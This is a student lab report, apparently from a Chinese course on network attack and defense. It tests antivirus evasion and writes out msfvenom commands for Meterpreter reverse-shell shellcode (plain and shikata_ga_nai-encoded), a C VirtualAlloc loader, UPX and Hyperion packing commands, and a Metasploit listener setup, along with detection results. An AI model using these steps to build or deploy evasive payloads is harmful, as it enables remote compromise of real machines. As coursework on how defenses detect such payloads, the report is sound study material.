20242422 2026-2027-1 《网络与系统攻防技术》实验三实验报告

20242422 2026-2027-1 《网络与系统攻防技术》实验三 免杀技术实验报告

学号:20242422

1.基础知识

免杀是指通过对恶意代码进行变形、加密、封装等处理,使其能够绕过杀毒软件检测的技术。杀毒软件的核心检测机制分为三类:

  1. 静态特征检测:匹配病毒库中的特征码、文件哈希、字符串片段,是最基础的检测方式。
  2. 动态行为检测:监控程序运行时的行为,如内存申请、远程连接、系统调用等,识别恶意行为模式。
  3. 启发式检测:基于规则和机器学习判断程序的可疑程度。

常见免杀技术包括:多态编码器(如shikata_ga_nai,通过指令变换改变代码特征)、压缩壳(如UPX,压缩程序改变二进制结构)、加密壳(如Hyperion,加密程序体,运行时解密执行)、自定义Shellcode加载器(通过C语言等自行编写加载逻辑,隐藏恶意特征)。
本次实验使用VirScan在线多引擎平台做静态检测,使用Windows Defender做本地动态行为验证。

2.实验内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

3.实验过程

3.1 Veil的安装

alt text
alt text

3.2 C语言Shellcode加载器制作与静态检测

  1. 使用msfvenom生成C格式的Meterpreter反向Shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.100 LPORT=4444 -f c

alt text

  1. 编写C语言加载器源码20242422_loader.c,通过VirtualAlloc分配可执行内存,memcpy拷贝Shellcode后跳转执行。
    alt text

  2. 使用i686-w64-mingw32-gcc交叉编译为Windows可执行文件20242422_shellcode_loader.exe。
    alt text

  3. 将文件上传至VirScan进行多引擎静态检测,记录检出结果。
    alt text

3.3 UPX压缩壳免杀测试

  1. 使用UPX压缩壳工具对原始C加载器进行加壳处理:

upx 20242422_shellcode_loader.exe -o upx_c_20242422.exe

alt text

  1. 加壳后文件体积缩小,二进制结构与原始文件产生明显差异。
  2. 上传VirScan检测,结果为7/48引擎检出,压缩壳可一定程度改变静态特征,降低部分引擎的检出率。
    alt text

3.4 Hyperion加密壳免杀测试

  1. 将原始C加载器复制到Hyperion工具目录,使用wine运行Hyperion对程序进行AES加密加壳:

sudo cp 20242422_shellcode_loader.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
sudo wine hyperion.exe -v 20242422_shellcode_loader.exe shellcode_c_hyp_20242422.exe

alt text

  1. 加壳完成后上传VirScan检测,结果为20/48引擎检出。
    alt text

  2. 结果分析:Hyperion加密壳自身的壳特征已被多数杀毒引擎收录,加壳后检出率反而上升,静态免杀效果不佳。

3.5 组合免杀技术测试

  1. 使用msfvenom结合shikata_ga_nai多态编码器,迭代5次编码生成C格式Shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.100 LPORT=4444 -f c -e x86/shikata_ga_nai -i 5

alt text

  1. 编写组合加载器源码combine_20242422.c,交叉编译得到可执行文件combine_20242422.exe。
    alt text

  2. 上传VirScan检测,结果为5/48引擎检出,是本次所有方案中静态检出率最低的方案。
    alt text

3.6 Windows Defender本地动态查杀验证

  1. Kali端启动MSF监听,配置反向TCP载荷参数:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.64.100
set LPORT 4444
run

alt text

  1. Windows靶机下载所有样本,使用Windows Defender进行静态扫描,并尝试运行载荷。
    靶机建立会话后迅速关闭
    alt text

  2. 实验现象:所有样本运行时均被Windows Defender动态行为检测识别,告警为Trojan:Win32/Meterpreter.RPZ!MTB,程序被拦截隔离,无法成功建立Meterpreter会话。
    alt text

  3. 结论:即使静态多引擎检出率很低,Windows Defender仍可通过行为检测识别恶意载荷,仅依靠静态免杀无法绕过动态防护。

4.问题及解决方案

问题1:Veil-Evasion工具下载安装失败,启动时报错找不到对应文件或依赖缺失
解决方案:Veil依赖Python、Ruby、mingw-w64、wine等多个组件,安装过程中易出现源下载失败、依赖包不完整的问题。可先执行sudo apt update更新软件源,再使用sudo apt install veil -y重新安装;若仍安装失败,可改用msfvenom结合自定义C语言Shellcode加载器的替代方案完成免杀载荷制作,同样满足实验要求。
问题2:复制文件到系统目录时提示Permission denied
解决方案:在命令前添加sudo提升权限,执行复制与加壳操作。
问题3:启动Python HTTP文件服务时提示Address already in use
解决方案:更换端口号(如8081、8082)重新启动服务,或使用lsof -i :端口号查找占用进程并终止。
问题4:Hyperion加壳过程中出现虚拟内存分配报错
解决方案:该报错不影响最终加壳结果,终端输出Done :-)即为加壳成功,生成的文件可正常使用。
问题5:靶机浏览器下载载荷时,文件直接被Windows Defender删除
解决方案:使用PowerShell命令行下载文件,或临时调整下载路径,下载完成后立即进行扫描与运行测试。

5.学习感悟、思考等

本次实验通过手动实现多种免杀技术并对比查杀效果,让我对恶意代码免杀的原理与局限性有了直观且深入的理解。
首先,不同免杀技术的静态效果差异十分明显:多态编码器结合自定义加载器的静态免杀效果最优,而加密壳因为自身特征被广泛收录,反而会提升检出率,说明免杀不是简单的“叠加技术就越强”。
其次,最核心的结论是静态免杀不等于动态免杀。现代杀毒软件早已不依赖单一的特征码匹配,而是结合静态特征、动态行为、启发式分析构建多层防护体系。本次实验中静态检出率最低的样本,在运行时依然被Windows Defender拦截,证明仅修改文件静态特征,很难绕过成熟的终端防护。
最后,免杀技术与杀毒技术是持续对抗演进的关系,单一免杀手段很容易被防护体系拦截。实战中的免杀需要结合进程注入、白利用、无文件攻击等更多高级技术,才能提升绕过防护的概率。本次实验也提升了我的动手实操能力,掌握了交叉编译、加壳、多引擎检测的完整流程,对网络攻防的对抗本质有了更深刻的认识。

参考资料

posted @ 2026-10-26 14:48  20242422liuxiang  阅读(2)  评论(0)    收藏  举报